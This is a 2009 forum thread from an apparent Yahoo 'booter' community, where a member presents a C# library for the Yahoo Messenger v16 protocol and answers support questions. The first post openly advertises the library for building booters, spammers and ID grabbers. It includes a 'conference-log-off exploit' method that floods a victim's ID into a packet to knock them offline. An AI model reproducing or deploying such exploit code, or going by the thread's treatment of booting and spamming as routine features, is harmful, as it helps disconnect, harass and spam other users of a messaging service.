Go Back   Yahoo Booters And Yahoo Tools > PC Related > Programming related

Programming related Showcase your programming talent in here! You may even post others work, provided it is GPL or in other words NOT COPYRIGHTED.



Welcome to the VipraSys forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features such as download links. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, Register Now by clicking here!

Post New Thread  Reply
 
LinkBack Thread Tools Display Modes
Old 09-18-2009, 02:59 PM   #1 (permalink)
Elite Member
 
none_not's Avatar
 
Join Date: Jan 2007
Posts: 106

Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
none_not is an unknown quantity at this point
Lightbulb my .. Yahoo v16 library in C#

Ok.. this is just intro ... I going to wrap-up and post the library (closed-source) here .. MAY BE by next weekend ..

Its a quick but robust and clean implementation of yahoo version 16 protocol .. and its written in c# ...

Key features;
-----

Login
Logoff

Buddy Online notification
Buddy Offline notification
Private Message, send/receive

Buddy Add Request, send/receive
Buddy Accept
Buddy Deny (delete ur id from someone's list)
Pager's buddy list

Chat Room Join (can go to random room number if only category is given)
Chat Room Leave
Chat Room Message, send/receive
Chat Room List
Chat Room user Join
Chat Room user Leave

Message typing start/end

Keep Alive (keeps the client connected)



Here is the list of some API methods ..

Code:
...
public YahooClient() // defaults to keepAlive = true
public YahooClient(bool keepAlive)

public void LogIn(string server, int port)
public void LogOff()
public void Message(string receiptant, string message)

public void BuddyAdd(string buddy)
public void BuddyRemove(string buddy)
public void BuddyReject(string buddy, string message)

public void ChatJoin(string alias, string room, string roomId)
public void ChatLeave()
public void ChatMessage(string message)
 ....


--properties--

Username
Password
SessionId
RoomName

IsPagerConnected
IsChatConnected
IsKeepAlive
...


--events--

NotifyLogin
NotifyLogoff

NotifyOnline
NotifyOffline

NotifyTyping
NotifyMessage
NotifyStatusChange

NotifyChatRoomJoin
NotifyChatRoomCaptcha
NotifyChatRoomLeave
NotifyChatUserJoin
NotifyChatUserLeave
NotifyChatUserMessage
...
here is a snippet of using the library ...

Code:
...
            _Client = new YahooClient();

            _Client.NotifyLogin += new YahooClient.OnLogin(Event_NotifyLogin);
            _Client.NotifyLogoff += new YahooClient.OnLogoff(Event_NotifyLogoff);
            _Client.NotifyMessage += new YahooClient.OnMessage(Event_NotifyMessage);
            _Client.NotifyOnline += new YahooClient.OnOnline(Event_NotifyOnline);
            _Client.NotifyOffline += new YahooClient.OnOffline(Event_NotifyOffline);
            
            _Client.NotifyChatRoomCaptcha += new YahooClient.OnChatRoomCaptcha(Event_ChatRoomCaptcha);
            _Client.NotifyChatRoomJoin += new YahooClient.OnChatRoomJoin(Event_ChatRoomJoin);
            _Client.NotifyChatUserMessage += new YahooClient.OnChatUserMessage(Event_ChatUserMessage);
            _Client.NotifyChatUserJoin += new YahooClient.OnChatUserJoin(Event_ChatUserJoin);
            _Client.NotifyChatUserLeave += new YahooClient.OnChatUserLeave(Event_ChatUserLeave);
            _Client.NotifyChatRoomLeave += new YahooClient.OnChatRoomLeave(Event_ChatRoomLeave);

            _Client.Username = ui_txtUsername.Text;
            _Client.Password = ui_txtPassword.Text;
            _Client.LogIn("scs.msg.yahoo.com", 5050);
...
With the library its pretty easy to make chatclient, booter, pager, spammer, id grabber, .. exploit packet .. whatever u like ..

Also if u like to create ur own packet .. u no more need to deal with messy + AE + .. etc. Here is example of conference-log-off exploit (read from johnyjammer's post) packet ..

Code:
        public void ConfLogOff(string receiptant)
        {
            SendPacket(ConfLogOff(receiptant).ToBytes());
        }
....

        public YahooPacket ConfLogOff(string receiptant)
        {
            YahooPacket exploitPacket = new YahooPacket((UInt16)YahooService.ConfLogon, _SessionId);
            exploitPacket.AddKey("1", _Username);
            exploitPacket.AddKey("3", receiptant);
            exploitPacket.AddKey("57", "0");
            for (int index = 1; index <= 20; index++)
            {
                exploitPacket.AddKey("3", receiptant);
            }
            return exploitPacket;
        }
I kept the parsing of packet minimal .. so if the event is not registered .. the packet is discarded safely ... like if Private-Message event is not registered .. it simply discards the packet withrout reading the content (key/value paris) ... helps from boot (somehow)

none_not is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following 4 Users Say Thank You to none_not For This Useful Post:
+__Help Me__+ (10-15-2009), clinton (01-17-2010), dethalternate (03-04-2010), vic.viper (10-06-2009)
Old 09-27-2009, 01:22 PM   #2 (permalink)
Elite Member
 
none_not's Avatar
 
Join Date: Jan 2007
Posts: 106

Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
none_not is an unknown quantity at this point
Lightbulb Re: my .. Yahoo v16 library in C#

[Only registered users can see links. ]
requires .net framework (tested and developed on 3.5)

Some screen-shots of the application


Adding reference to library




Selecting the library




Typing in the namespace




Designing the login




Logging in through program (messy got dc)




currenty the library is capable of creating;
chat-client, booter, pager, spammer, id grabber, .. exploit packet .. whatever u like ..

I would try to put some more example applications (send/receive pm, chatclient, rejectbuddy, booter, sending custom packet .. etc)

Feedback is appreciated
none_not is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following 3 Users Say Thank You to none_not For This Useful Post:
+__Help Me__+ (10-15-2009), dethalternate (03-04-2010), haimp (10-05-2009)
Old 09-27-2009, 02:12 PM   #3 (permalink)
Junior Member
 
Join Date: Sep 2009
Location: PH
Posts: 6

Thanks: 0
Thanked 7 Times in 3 Posts
Reputation: 1
dukovni is an unknown quantity at this point
Default Re: my .. Yahoo v16 library in C#

would love to try this, but my machine had a screwed up dotnet installation. have you tried this on mono?
dukovni is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following User Says Thank You to dukovni For This Useful Post:
+__Help Me__+ (10-15-2009)
Old 09-27-2009, 02:34 PM   #4 (permalink)
Elite Member
 
none_not's Avatar
 
Join Date: Jan 2007
Posts: 106

Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
none_not is an unknown quantity at this point
Arrow Re: my .. Yahoo v16 library in C#

na .. havent tried with mono

the current release of mono supports upto .net 3.0 ... I have just tested with 3.5 ... not sure about downward compatability .. but should work fine with >= 3.0
none_not is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following User Says Thank You to none_not For This Useful Post:
+__Help Me__+ (10-15-2009)
Old 10-05-2009, 05:51 PM   #5 (permalink)
Junior Member
 
Join Date: Oct 2009
Posts: 1

Thanks: 4
Thanked 1 Time in 1 Post
Reputation: 1
haimp is an unknown quantity at this point
Default Re: my .. Yahoo v16 library in C#

This is a wonderful project. Can you please add a 'deny buddy' function?

Last edited by haimp : 10-05-2009 at 05:55 PM.
haimp is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following User Says Thank You to haimp For This Useful Post:
+__Help Me__+ (10-15-2009)
Old 10-06-2009, 05:07 AM   #6 (permalink)
Junior Member
 
Join Date: Sep 2009
Posts: 3

Thanks: 1
Thanked 3 Times in 3 Posts
Reputation: 1
vic.viper is an unknown quantity at this point
Default Re: my .. Yahoo v16 library in C#

Hi...
I already try your example...
But there is something strange when received message...
Why i received two identical messages (in fact, i just send once) ?
Hope you can help me anwer this question...
Thanks =)
vic.viper is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following User Says Thank You to vic.viper For This Useful Post:
+__Help Me__+ (10-15-2009)
Old 10-06-2009, 03:26 PM   #7 (permalink)
Elite Member
 
none_not's Avatar
 
Join Date: Jan 2007
Posts: 106

Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
none_not is an unknown quantity at this point
Arrow Re: my .. Yahoo v16 library in C#

Thanks m8. The BuddyReject method will do the trick, and its part of the library's first release (0.5.x). Follow link for complete example ..

Download the source code (c#) of the buddy deny example application
requires .net framework (tested and developed on 3.5)

Code:
privatevoid ui_btnDeny_Click(object sender, EventArgs e)
{
_Client.BuddyReject(ui_txtBuddy.Text, ui_txtMessage.Text);
}
screen-shot of the application



Quote:
Originally Posted by haimp View Post
This is a wonderful project. Can you please add a 'deny buddy' function?
none_not is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following 2 Users Say Thank You to none_not For This Useful Post:
+__Help Me__+ (10-15-2009), haimp (10-26-2009)
Old 10-06-2009, 03:46 PM   #8 (permalink)
Elite Member
 
none_not's Avatar
 
Join Date: Jan 2007
Posts: 106

Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
none_not is an unknown quantity at this point
Lightbulb Re: my .. Yahoo v16 library in C#

Quote:
Originally Posted by vic.viper View Post
Hi...
I already try your example...
But there is something strange when received message...
Why i received two identical messages (in fact, i just send once) ?
Hope you can help me anwer this question...
Thanks =)
True .. I come across the bug couple of days ago, however i was slack to fix this minor bug .. infact was waiting for expression of interest.

It seems to me u already had put necessary code for message send/receive, but anyway I going to put message send/receive example + next iteration of the library (v 0.6.x) very soon.

cheers
none_not is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following User Says Thank You to none_not For This Useful Post:
+__Help Me__+ (10-15-2009)
Old 10-07-2009, 06:29 AM   #9 (permalink)
Junior Member
 
Join Date: Sep 2009
Posts: 3

Thanks: 1
Thanked 3 Times in 3 Posts
Reputation: 1
vic.viper is an unknown quantity at this point
Default Re: my .. Yahoo v16 library in C#

May i ask another question ?
I already tried your library and OpenYMSG library (java based library)...
but both of those library can't send message like 'O-NET' (the word is retrieved from mysql)...but works fine if not retrieved from mysql...
This happens since migrating to yahoo v 16....works fine when using old protocol (using YCC_Trainer library)
Probably my question is not quite related with this topic...
But i hope u can give me the solution / explanation...
Thanks again :)
vic.viper is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following User Says Thank You to vic.viper For This Useful Post:
+__Help Me__+ (10-15-2009)
Old 10-07-2009, 02:50 PM   #10 (permalink)
Elite Member
 
none_not's Avatar
 
Join Date: Jan 2007
Posts: 106

Thanks: 28
Thanked 53 Times in 38 Posts
Reputation: 0
none_not is an unknown quantity at this point
Exclamation Re: my .. Yahoo v16 library in C#

Its ok if the question is somehow related to this topic. Off the topic, related to IT / programming is ok as well but may be not on this thread.

Well I know about mysql and YCC Trainer (probably using v15 protocol) but not clear what u mean by

Quote:
Originally Posted by vic.viper View Post
library can't send message like 'O-NET' (the word is retrieved from mysql)...but works fine if not retrieved from mysql...
This happens since migrating to yahoo v 16....works fine when using old protocol (using YCC_Trainer library)
would be helpful if u put some reference/detail .. i presume u r not talking about ado.net connector of mysql.
none_not is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following User Says Thank You to none_not For This Useful Post:
+__Help Me__+ (10-15-2009)
Post New Thread  Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Need Msdn Library For Vb6 HAKRBOY Programming related 1 08-12-2009 10:49 PM
Delicious Library 2 for mac {rapidshare} __Sare__ Non-Windows Softwares related 2 06-15-2009 05:34 AM
C++ standard library xn--p-r-i-n-c-e Programming related 1 02-01-2009 10:58 AM


All times are GMT. The time now is 01:38 PM.

Page generated in 0.3190 seconds (50.13% PHP - 49.87% MySQL) with 14 queries

Powered by vBulletin®
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0..
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios
The logos and trademarks used on this site are the property of their respective owners.
We are not responsible for comments posted by our users, as they are the property of the poster.